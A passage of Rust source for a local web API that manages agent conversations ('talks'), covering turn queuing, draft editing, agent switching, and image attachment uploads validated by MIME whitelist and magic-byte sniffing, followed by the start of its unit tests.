5872 context: talk::ContextUsage,
5876}
5877
5878impl TalkView {
5879 fn new(talk: Talk, thinking: bool) -> Self {
5882 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5883 Self::with_config(talk, thinking, cfg.as_ref())
5884 }
5885
5886 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5889 let context = talk::context_usage(&talk, cfg);
5890 let turn_bodies_md = talk
5891 .turns
5892 .iter()
5893 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5894 .collect();
5895 Self {
5896 turn_bodies_md,
5897 thinking,
5898 context,
5899 talk,
5900 }
5901 }
5902}
5903
5904#[derive(Debug, Serialize)]
5909struct TalkDetailView {
5910 #[serde(flatten)]
5911 view: TalkView,
5912 tasks: Vec<TaskView>,
5913 roster: Vec<RosterEntry>,
5916}
5917
5918#[derive(Debug, Serialize)]
5920struct RosterEntry {
5921 id: String,
5922 kind: AgentKind,
5923 runnable: bool,
5925}
5926
5927async fn talks_list(
5932 State(ui): State<Arc<Ui>>,
5933 Query(q): Query<ListQuery>,
5934) -> ApiResult<Json<Vec<TalkView>>> {
5935 blocking(move || {
5936 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5937 Ok(Json(
5938 ui.talks
5939 .list()
5940 .into_iter()
5941 .filter(|talk| q.contains(&talk.id))
5942 .map(|talk| {
5943 let thinking = ui.is_thinking(&talk.id);
5944 let cfg = configs
5945 .entry(talk.repo.clone())
5946 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5947 TalkView::with_config(talk, thinking, cfg.as_ref())
5948 })
5949 .collect(),
5950 ))
5951 })
5952 .await
5953}
5954
5955#[derive(Debug, Default, Deserialize)]
5960#[serde(default)]
5961struct NewTalk {
5962 agent: Option<String>,
5963 repo: Option<PathBuf>,
5964}
5965
5966async fn talk_post(
5969 State(ui): State<Arc<Ui>>,
5970 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5971) -> ApiResult<impl IntoResponse> {
5972 let body = match body {
5976 Ok(Json(body)) => body,
5977 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5978 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5979 };
5980 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5981 let cfg = config_for(&repo).await?;
5982 let view = blocking(move || {
5983 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5984 let thinking = ui.is_thinking(&talk.id);
5985 Ok(TalkView::new(talk, thinking))
5986 })
5987 .await?;
5988 Ok((StatusCode::CREATED, Json(view)))
5989}
5990
5991async fn talk_detail(
5993 State(ui): State<Arc<Ui>>,
5994 Path(id): Path<String>,
5995) -> ApiResult<Json<TalkDetailView>> {
5996 blocking(move || {
5997 let id = resolve_talk(&ui.talks, &id)?;
5998 let talk = ui.talks.get(&id)?;
5999 let thinking = ui.is_thinking(&talk.id);
6000 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6001 .into_iter()
6002 .map(TaskView::from)
6003 .collect();
6004 let roster = Config::discover(&talk.repo, None)
6005 .map(|(cfg, _)| {
6006 cfg.agents
6007 .iter()
6008 .map(|a| RosterEntry {
6009 id: a.id.clone(),
6010 kind: a.kind,
6011 runnable: agent::installed(a),
6012 })
6013 .collect()
6014 })
6015 .unwrap_or_default();
6016 Ok(Json(TalkDetailView {
6017 view: TalkView::new(talk, thinking),
6018 tasks,
6019 roster,
6020 }))
6021 })
6022 .await
6023}
6024
6025#[derive(Debug, Default, Deserialize)]
6031#[serde(default, deny_unknown_fields)]
6032struct NewTalkTurn {
6033 text: String,
6034 attachments: Vec<String>,
6035}
6036
6037#[derive(Debug, Deserialize)]
6038#[serde(deny_unknown_fields)]
6039struct EditTalkPending {
6040 text: String,
6041 expected_text: String,
6042 expected_attachments: Vec<String>,
6043}
6044
6045#[derive(Debug, Deserialize)]
6046#[serde(deny_unknown_fields)]
6047struct ClearTalkPending {
6048 expected_text: String,
6049 expected_attachments: Vec<String>,
6050}
6051
6052async fn talk_say(
6064 State(ui): State<Arc<Ui>>,
6065 Path(id): Path<String>,
6066 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6067) -> ApiResult<(StatusCode, Json<TalkView>)> {
6068 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6069 if body.text.trim().is_empty() && body.attachments.is_empty() {
6070 return Err(ApiError::bad_request("say something"));
6071 }
6072
6073 let id = {
6074 let ui = Arc::clone(&ui);
6075 let asked = id.clone();
6076 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6077 };
6078 {
6082 let ui = Arc::clone(&ui);
6083 let id = id.clone();
6084 blocking(move || {
6085 let talk = ui.talks.get(&id)?;
6086 if !talk.status.open() {
6087 return Err(ApiError::conflict(format!(
6088 "talk {} is {} and takes no more turns",
6089 talk.short(),
6090 talk.status.as_str()
6091 )));
6092 }
6093 Ok(())
6094 })
6095 .await?;
6096 }
6097
6098 let attachments = {
6103 let ui = Arc::clone(&ui);
6104 let id = id.clone();
6105 let ids = body.attachments.clone();
6106 blocking(move || {
6107 ids.into_iter()
6108 .map(|att_id| {
6109 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6110 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6111 })
6112 })
6113 .collect::<ApiResult<Vec<talk::Attachment>>>()
6114 })
6115 .await?
6116 };
6117
6118 let start = {
6123 let ui = Arc::clone(&ui);
6124 let id = id.clone();
6125 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6126 };
6127 let turn_guard = match start {
6128 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6129 TalkTurnStart::Pending => {
6130 return Err(ApiError::conflict(
6131 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6132 ));
6133 }
6134 TalkTurnStart::Foreign => {
6135 return Err(ApiError::conflict(
6136 "a turn is already running in another process; try again when it has finished",
6137 ));
6138 }
6139 TalkTurnStart::Busy => {
6140 let (tx, rx) = tokio::sync::oneshot::channel();
6156 tokio::spawn({
6157 let ui = Arc::clone(&ui);
6158 let id = id.clone();
6159 let said = body.text.clone();
6160 async move {
6161 let written = blocking({
6162 let ui = Arc::clone(&ui);
6163 let id = id.clone();
6164 move || {
6165 let mut talk = ui.talks.get(&id)?;
6166 #[cfg(test)]
6171 if let Some(gate) = ui
6172 .busy_queue_gate
6173 .lock()
6174 .unwrap_or_else(PoisonError::into_inner)
6175 .take()
6176 {
6177 let _ = gate.reached.send(());
6178 let _ = gate.release.recv();
6179 }
6180 if let Err(error) =
6181 talk::queue(&mut talk, &ui.talks, &said, attachments)
6182 {
6183 if let Ok(fresh) = ui.talks.get(&id) {
6184 if !fresh.status.open() {
6185 return Err(ApiError::conflict(format!(
6186 "talk {} is {} and takes no more turns",
6187 fresh.short(),
6188 fresh.status.as_str()
6189 )));
6190 }
6191 }
6192 return Err(ApiError::from(error));
6193 }
6194 let claim = match ui.begin_queued_talk_turn(&id)? {
6205 Some(turn_guard) => {
6206 let (cfg, _) = Config::discover(&talk.repo, None)?;
6207 Some((talk.clone(), cfg, turn_guard))
6208 }
6209 None => None,
6210 };
6211 let thinking = ui.is_thinking(&id);
6212 Ok((TalkView::new(talk, thinking), claim))
6213 }
6214 })
6215 .await;
6216 let (view, reclaimed) = match written {
6217 Ok(pair) => pair,
6218 Err(e) => {
6219 let _ = tx.send(Err(e));
6224 return;
6225 }
6226 };
6227 let _ = tx.send(Ok(view));
6230 if let Some((talk, cfg, turn_guard)) = reclaimed {
6231 let talks = ui.talks.clone();
6232 drain_loop(talk, talks, cfg, id, turn_guard).await;
6233 }
6234 }
6235 });
6236 let view = rx
6237 .await
6238 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6239 return Ok((StatusCode::ACCEPTED, Json(view)));
6240 }
6241 };
6242
6243 let (talk, cfg) = {
6244 let ui = Arc::clone(&ui);
6245 let id = id.clone();
6246 blocking(move || {
6247 let talk = ui.talks.get(&id)?;
6248 let (cfg, _) = Config::discover(&talk.repo, None)?;
6249 Ok((talk, cfg))
6250 })
6251 .await?
6252 };
6253
6254 let talks = ui.talks.clone();
6255 let (tx, rx) = tokio::sync::oneshot::channel();
6270 tokio::spawn({
6271 let ui = Arc::clone(&ui);
6272 let talks = talks.clone();
6273 let id = id.clone();
6274 let said = body.text.clone();
6275 let mut talk = talk.clone();
6276 async move {
6277 let recorded = blocking({
6278 let talks = talks.clone();
6279 move || {
6280 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6281 if let Ok(fresh) = talks.get(&talk.id) {
6282 if !fresh.status.open() {
6283 return Err(ApiError::conflict(format!(
6284 "talk {} is {} and takes no more turns",
6285 fresh.short(),
6286 fresh.status.as_str()
6287 )));
6288 }
6289 }
6290 return Err(ApiError::from(error));
6291 }
6292 Ok((said.trim().to_owned(), talk))
6298 }
6299 })
6300 .await;
6301 let (text, mut talk) = match recorded {
6302 Ok(pair) => pair,
6303 Err(e) => {
6304 let _ = tx.send(Err(e));
6308 return;
6309 }
6310 };
6311 let queued = talk.clone();
6312 let thinking = ui.is_thinking(&id);
6313 let _ = tx.send(Ok((queued, thinking)));
6316
6317 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6318 tracing::warn!("talk {id} turn failed: {e:#}");
6322 }
6323 drain_loop(talk, talks, cfg, id, turn_guard).await;
6326 }
6327 });
6328
6329 let (queued, thinking) = rx
6330 .await
6331 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6332
6333 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6335}
6336
6337async fn talk_pending_resume(
6341 State(ui): State<Arc<Ui>>,
6342 Path(id): Path<String>,
6343) -> ApiResult<(StatusCode, Json<TalkView>)> {
6344 let id = {
6345 let ui = Arc::clone(&ui);
6346 let asked = id.clone();
6347 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6348 };
6349 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6350 return Err(ApiError::conflict(
6351 "a talk turn is already running; the queued draft will be handled by it",
6352 ));
6353 };
6354 let (talk, cfg) = {
6355 let ui = Arc::clone(&ui);
6356 let id = id.clone();
6357 blocking(move || {
6358 let talk = ui.talks.get(&id)?;
6359 if !talk.status.open() {
6360 return Err(ApiError::conflict(format!(
6361 "talk {} is {} and takes no more turns",
6362 talk.short(),
6363 talk.status.as_str()
6364 )));
6365 }
6366 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6367 return Err(ApiError::conflict("there is no queued draft to resume"));
6368 }
6369 let (cfg, _) = Config::discover(&talk.repo, None)?;
6370 Ok((talk, cfg))
6371 })
6372 .await?
6373 };
6374 let view = TalkView::new(talk.clone(), true);
6375 let talks = ui.talks.clone();
6376 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6377 Ok((StatusCode::ACCEPTED, Json(view)))
6378}
6379
6380async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6396 let live_set = Arc::clone(&turn.turns);
6397 let mut turn = Some(turn);
6405 loop {
6406 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6407 tracing::warn!("talk {id} lost its turn lease; not draining further");
6410 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6411 if let Some(turn) = turn.take() {
6412 turn.release(&mut live);
6413 }
6414 break;
6415 }
6416 let observed = live_set
6420 .lock()
6421 .unwrap_or_else(PoisonError::into_inner)
6422 .queued
6423 .get(&id)
6424 .copied()
6425 .unwrap_or(0);
6426 let drained = blocking({
6427 let talks = talks.clone();
6428 move || {
6429 let result = talk::drain(&mut talk, &talks);
6430 Ok((talk, result))
6431 }
6432 })
6433 .await;
6434 let (next_talk, result) = match drained {
6435 Ok(drained) => drained,
6436 Err(e) => {
6437 tracing::warn!(
6438 status = %e.status,
6439 message = %e.message,
6440 "talk {id} could not start queued-text drain"
6441 );
6442 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6443 turn.take()
6444 .expect("held for the whole loop until released here")
6445 .release(&mut live);
6446 break;
6447 }
6448 };
6449 talk = next_talk;
6450 let drained = match result {
6451 Ok(Some(drained)) => drained,
6452 Ok(None) => {
6453 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6454 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6455 continue;
6456 }
6457 turn.take()
6458 .expect("held for the whole loop until released here")
6459 .release(&mut live);
6460 break;
6461 }
6462 Err(e) => {
6463 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6464 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6465 turn.take()
6466 .expect("held for the whole loop until released here")
6467 .release(&mut live);
6468 break;
6469 }
6470 };
6471 let responded = match turn.as_ref() {
6472 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6473 None => talk::respond(&mut talk, &talks, &cfg, &drained).await,
6474 };
6475 if let Err(e) = responded {
6476 tracing::warn!("talk {id} turn failed: {e:#}");
6477 }
6478 }
6479}
6480
6481async fn talk_pending_clear(
6483 State(ui): State<Arc<Ui>>,
6484 Path(id): Path<String>,
6485 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6486) -> ApiResult<Json<TalkView>> {
6487 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6488 blocking(move || {
6489 let id = resolve_talk(&ui.talks, &id)?;
6490 let mut talk = ui.talks.get(&id)?;
6491 if !talk.status.open() {
6492 return Err(ApiError::conflict(format!(
6493 "talk {} is {} and takes no more turns",
6494 talk.short(),
6495 talk.status.as_str()
6496 )));
6497 }
6498 if !talk::clear_pending_if_matches(
6499 &mut talk,
6500 &ui.talks,
6501 &body.expected_text,
6502 &body.expected_attachments,
6503 )? {
6504 return Err(ApiError::conflict(
6505 "queued message changed; reload it before clearing",
6506 ));
6507 }
6508 let thinking = ui.is_thinking(&talk.id);
6509 Ok(Json(TalkView::new(talk, thinking)))
6510 })
6511 .await
6512}
6513
6514async fn talk_pending_edit(
6518 State(ui): State<Arc<Ui>>,
6519 Path(id): Path<String>,
6520 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6521) -> ApiResult<Json<TalkView>> {
6522 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6523 let (view, reclaimed) = blocking({
6524 let ui = Arc::clone(&ui);
6525 move || {
6526 let id = resolve_talk(&ui.talks, &id)?;
6527 let mut talk = ui.talks.get(&id)?;
6528 if !talk.status.open() {
6529 return Err(ApiError::conflict(format!(
6530 "talk {} is {} and takes no more turns",
6531 talk.short(),
6532 talk.status.as_str()
6533 )));
6534 }
6535 if !talk::edit_pending_text(
6536 &mut talk,
6537 &ui.talks,
6538 &body.text,
6539 &body.expected_text,
6540 &body.expected_attachments,
6541 )? {
6542 return Err(ApiError::conflict(
6543 "queued message changed; reload it before editing",
6544 ));
6545 }
6546 let claim = match ui.begin_queued_talk_turn(&id)? {
6547 Some(turn_guard) => {
6548 let (cfg, _) = Config::discover(&talk.repo, None)?;
6549 Some((talk.clone(), cfg, id.clone(), turn_guard))
6550 }
6551 None => None,
6552 };
6553 let thinking = ui.is_thinking(&id);
6554 Ok((TalkView::new(talk, thinking), claim))
6555 }
6556 })
6557 .await?;
6558 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6559 let talks = ui.talks.clone();
6560 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6561 }
6562 Ok(Json(view))
6563}
6564
6565#[derive(Debug, Deserialize)]
6567struct TalkAgent {
6568 agent: String,
6569}
6570
6571async fn talk_agent(
6576 State(ui): State<Arc<Ui>>,
6577 Path(id): Path<String>,
6578 Json(body): Json<TalkAgent>,
6579) -> ApiResult<Json<TalkView>> {
6580 let id = {
6581 let ui = Arc::clone(&ui);
6582 blocking(move || resolve_talk(&ui.talks, &id)).await?
6583 };
6584 let repo = {
6585 let ui = Arc::clone(&ui);
6586 let id = id.clone();
6587 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6588 };
6589 let cfg = config_for(&repo).await?;
6590 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6591 return Err(ApiError::conflict(
6592 "a talk turn is running; change the agent once it has answered",
6593 ));
6594 };
6595 let switched = {
6596 let ui = Arc::clone(&ui);
6597 let id = id.clone();
6598 let cfg = cfg.clone();
6599 blocking(move || {
6600 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6601 .map_err(ApiError::bad_request_from)?;
6602 let mut talk = ui.talks.get(&id)?;
6603 if !talk.status.open() {
6604 return Err(ApiError::conflict(format!(
6605 "talk {} is {} and takes no more turns",
6606 talk.short(),
6607 talk.status.as_str()
6608 )));
6609 }
6610 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6611 Ok(talk)
6612 })
6613 .await
6614 };
6615 let fresh = {
6620 let ui = Arc::clone(&ui);
6621 let id = id.clone();
6622 blocking(move || Ok(ui.talks.get(&id)?)).await
6623 };
6624 let draining = match fresh {
6625 Ok(talk) => {
6626 let draining = talk.status.open()
6627 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6628 let talks = ui.talks.clone();
6629 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6630 draining
6631 }
6632 Err(_) => false,
6633 };
6634 let talk = switched?;
6635 Ok(Json(TalkView::new(talk, draining)))
6636}
6637
6638async fn talk_close(
6640 State(ui): State<Arc<Ui>>,
6641 Path(id): Path<String>,
6642) -> ApiResult<Json<TalkView>> {
6643 blocking(move || {
6644 let id = resolve_talk(&ui.talks, &id)?;
6645 let mut talk = ui.talks.get(&id)?;
6646 talk::close(&mut talk, &ui.talks)?;
6647 let thinking = ui.is_thinking(&talk.id);
6648 Ok(Json(TalkView::new(talk, thinking)))
6649 })
6650 .await
6651}
6652
6653async fn talk_reopen(
6655 State(ui): State<Arc<Ui>>,
6656 Path(id): Path<String>,
6657) -> ApiResult<Json<TalkView>> {
6658 blocking(move || {
6659 let id = resolve_talk(&ui.talks, &id)?;
6660 let mut talk = ui.talks.get(&id)?;
6661 talk::reopen(&mut talk, &ui.talks)?;
6662 let thinking = ui.is_thinking(&talk.id);
6663 Ok(Json(TalkView::new(talk, thinking)))
6664 })
6665 .await
6666}
6667
6668async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6678 blocking(move || {
6679 let id = resolve_talk(&ui.talks, &id)?;
6680 ui.talks.remove(&id)?;
6681 Ok(StatusCode::NO_CONTENT)
6682 })
6683 .await
6684}
6685
6686fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6688 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6689}
6690
6691async fn talk_attachment_post(
6694 State(ui): State<Arc<Ui>>,
6695 Path(id): Path<String>,
6696 headers: HeaderMap,
6697 body: Bytes,
6698) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6699 let mime = validate_attachment(&headers, &body)?;
6700 let name = filename_header(&headers);
6701 let data = body.to_vec();
6702 blocking(move || {
6703 let id = resolve_talk(&ui.talks, &id)?;
6704 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6705 Ok((StatusCode::CREATED, Json(att)))
6706 })
6707 .await
6708}
6709
6710async fn talk_attachment_get(
6713 State(ui): State<Arc<Ui>>,
6714 Path((id, att)): Path<(String, String)>,
6715) -> ApiResult<Response> {
6716 blocking(move || {
6717 let id = resolve_talk(&ui.talks, &id)?;
6718 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6719 return Err(ApiError::not_found(format!(
6720 "talk {id} has no attachment `{att}`"
6721 )));
6722 };
6723 Ok(attachment_response(&meta.mime, data))
6724 })
6725 .await
6726}
6727
6728fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6739 if data.len() > ATTACHMENT_MAX_BYTES {
6740 return Err(ApiError::bad_request(format!(
6741 "attachment is {} bytes, over the {} MiB limit",
6742 data.len(),
6743 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6744 ))
6745 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6746 }
6747 if data.is_empty() {
6748 return Err(ApiError::bad_request("attachment is empty"));
6749 }
6750 let declared = declared_mime(headers)?;
6751 match sniffed_mime(data) {
6752 Some(sniffed) if sniffed == declared => Ok(declared),
6753 Some(sniffed) => Err(ApiError::bad_request(format!(
6754 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6755 ))),
6756 None => Err(ApiError::bad_request(
6757 "the file's bytes do not match any accepted image format",
6758 )),
6759 }
6760}
6761
6762fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6766 let raw = headers
6767 .get(header::CONTENT_TYPE)
6768 .and_then(|v| v.to_str().ok())
6769 .unwrap_or("")
6770 .split(';')
6771 .next()
6772 .unwrap_or("")
6773 .trim()
6774 .to_ascii_lowercase();
6775 ATTACHMENT_MIME_WHITELIST
6776 .iter()
6777 .find(|&&m| m == raw)
6778 .copied()
6779 .ok_or_else(|| {
6780 if raw == "image/svg+xml" {
6781 ApiError::bad_request(
6782 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6783 not just a picture",
6784 )
6785 } else if raw.is_empty() {
6786 ApiError::bad_request("Content-Type is required for an attachment upload")
6787 } else {
6788 ApiError::bad_request(format!(
6789 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6790 image/gif or image/webp"
6791 ))
6792 }
6793 })
6794}
6795
6796fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6799 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6800 Some("image/png")
6801 } else if data.starts_with(b"\xff\xd8\xff") {
6802 Some("image/jpeg")
6803 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6804 Some("image/gif")
6805 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6806 Some("image/webp")
6807 } else {
6808 None
6809 }
6810}
6811
6812fn filename_header(headers: &HeaderMap) -> String {
6818 headers
6819 .get(FILENAME_HEADER)
6820 .and_then(|v| v.to_str().ok())
6821 .map(str::trim)
6822 .filter(|s| !s.is_empty())
6823 .unwrap_or("attachment")
6824 .to_owned()
6825}
6826
6827fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6834 let content_type = ATTACHMENT_MIME_WHITELIST
6835 .iter()
6836 .find(|&&m| m == mime)
6837 .copied()
6838 .unwrap_or("application/octet-stream");
6839 (
6840 [
6841 (header::CONTENT_TYPE, content_type),
6842 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6843 ],
6844 body,
6845 )
6846 .into_response()
6847}
6848
6849async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6857 let repo = repo.to_path_buf();
6858 blocking(move || {
6859 let (cfg, _) = Config::discover(&repo, None)?;
6860 Ok(cfg)
6861 })
6862 .await
6863}
6864
6865fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6871 let mut hits = ids
6872 .into_iter()
6873 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6874 match (hits.next(), hits.next()) {
6875 (Some(one), None) => Ok(one),
6876 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6877 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6878 "`{prefix}` matches more than one {what}, including {a} and {b}"
6879 ))),
6880 }
6881}
6882
6883#[cfg(test)]
6884mod tests {
6885
6886 #[test]
6887 fn holder_reads_the_lease_not_the_record() {
6888 let mut q = Question::new(
6889 "run".to_owned(),
6890 "implement".to_owned(),
6891 "impl-A".to_owned(),
6892 "which?".to_owned(),
6893 String::new(),
6894 Vec::new(),
6895 );
6896 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6897 q.cwd = Some("/tmp".to_owned());
6898 assert_eq!(holder_of(&q, None), Some("nobody"));
6899 let beat = |kind, ago: i64| ask::Lease {
6900 kind,
6901 pid: 1,
6902 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6903 .unwrap(),
6904 };
6905 let fresh = beat(ask::WaiterKind::Asker, 1);
6906 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6907 let daemon = beat(ask::WaiterKind::Daemon, 1);
6908 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6909 let stale = beat(ask::WaiterKind::Asker, 3600);
6910 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6911
6912 let mut c = Question::new(
6915 "task".to_owned(),
6916 crate::conduct::NODE.to_owned(),
6917 "conduct".to_owned(),
6918 "which?".to_owned(),
6919 String::new(),
6920 Vec::new(),
6921 );
6922 assert_eq!(holder_of(&c, None), Some("nobody"));
6923 c.cwd = Some("/tmp".to_owned());
6924 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6925 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6926 let deputy = beat(ask::WaiterKind::Deputy, 1);
6927 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6928 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6929
6930 let mut r = Question::new(
6932 String::new(),
6933 crate::bump::NOTICE_NODE.to_owned(),
6934 "release-watch".to_owned(),
6935 "stuck?".to_owned(),
6936 String::new(),
6937 vec!["hold".to_owned()],
6938 );
6939 assert_eq!(holder_of(&r, None), Some("nobody"));
6940 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6941 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6942 r.deputy = None;
6944 r.seat = "bump".to_owned();
6945 assert_eq!(holder_of(&r, None), None);
6946
6947 let mut m = Question::new(
6950 "run".to_owned(),
6951 crate::land::APPROVAL_NODE.to_owned(),
6952 "land".to_owned(),
6953 "merge?".to_owned(),
6954 String::new(),
6955 Vec::new(),
6956 );
6957 assert_eq!(holder_of(&m, None), Some("nobody"));
6958 assert_eq!(
6959 holder_of(&m, Some(&fresh)),
6960 Some("nobody"),
6961 "a lease with no deputy is not a listener"
6962 );
6963 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6964 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6965 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6966 assert_eq!(holder_of(&m, None), Some("nobody"));
6967 }
6968
6969 fn stub_config() -> Config {
6970 Config {
6973 agents: vec![crate::config::AgentSpec {
6974 id: "stub".to_owned(),
6975 kind: AgentKind::Command,
6976 model: None,
6977 command: vec!["true".to_owned()],
6978 extra_args: Vec::new(),
6979 env: Default::default(),
6980 prompt_delivery: None,
6981 }],
6982 ..Config::default()
6983 }
6984 }
6985
6986 fn plain_question(seat: &str) -> Question {
6987 Question::new(
6988 String::new(),
6989 "n".to_owned(),
6990 seat.to_owned(),
6991 "s".to_owned(),
6992 String::new(),
6993 Vec::new(),
6994 )
6995 }
6996
6997 #[test]
6998 fn deputies_enabled_follows_the_config() {
6999 let on = stub_config();
7000 assert!(crate::deputy::can_start(Some(&on), ""));
7001 assert!(crate::deputy::can_start(Some(&on), "stub"));
7002 let mut off = on.clone();
7003 off.daemon.max_deputies = 0;
7004 assert!(!crate::deputy::can_start(Some(&off), ""));
7005 let mut empty = on;
7006 empty.agents.clear();
7007 assert!(!crate::deputy::can_start(Some(&empty), ""));
7008 assert!(!crate::deputy::can_start(None, ""));
7009 }
7010
7011 #[test]
7012 fn question_views_load_the_config_once() {
7013 let dir = TempDir::new().unwrap();
7014 let store = ask::Questions::at(dir.path().to_path_buf());
7015 let mut with_deputy = plain_question("b");
7016 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7017 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7018
7019 let calls = std::cell::Cell::new(0usize);
7020 let views = question_views(qs.clone(), &store, || {
7021 calls.set(calls.get() + 1);
7022 Some(stub_config())
7023 });
7024 assert_eq!(calls.get(), 1);
7025 assert_eq!(views.len(), 3);
7026 for (v, q) in views.iter().zip(&qs) {
7027 assert_eq!(
7028 v.deputies_enabled,
7029 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7030 );
7031 }
7032
7033 let views = question_views(qs, &store, || None);
7034 assert!(views.iter().all(|v| !v.deputies_enabled));
7035
7036 let calls = std::cell::Cell::new(0usize);
7037 let views = question_views(Vec::new(), &store, || {
7038 calls.set(calls.get() + 1);
7039 None
7040 });
7041 assert!(views.is_empty());
7042 assert_eq!(calls.get(), 0);
7043 }
7044
7045 use pretty_assertions::assert_eq;
7046 use serde_json::Value;
7047 use tempfile::TempDir;
7048 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7049
7050 use super::*;
7051 use crate::config::Config;
7052 use crate::queue::Source;
7053
7054 const SETTLE_STEPS: usize = 3_000;
7065
7066 struct Fixture {
7072 home: TempDir,
7073 addr: SocketAddr,
7074 }
7075
7076 impl Fixture {
7077 async fn start() -> Self {
7078 Self::with_loop(launch_idle).await
7079 }
7080
7081 async fn with_loop(launch: Launch) -> Self {
7083 let home = TempDir::new().expect("temp home");
7084 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7085 Self { home, addr }
7086 }
7087
7088 async fn with_repo(repo: PathBuf) -> Self {
7092 let home = TempDir::new().expect("temp home");
7093 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7094 Self { home, addr }
7095 }
7096
7097 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7100 let home = TempDir::new().expect("temp home");
7101 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7102 Self { home, addr }
7103 }
7104
7105 async fn serve(
7106 home: &FsPath,
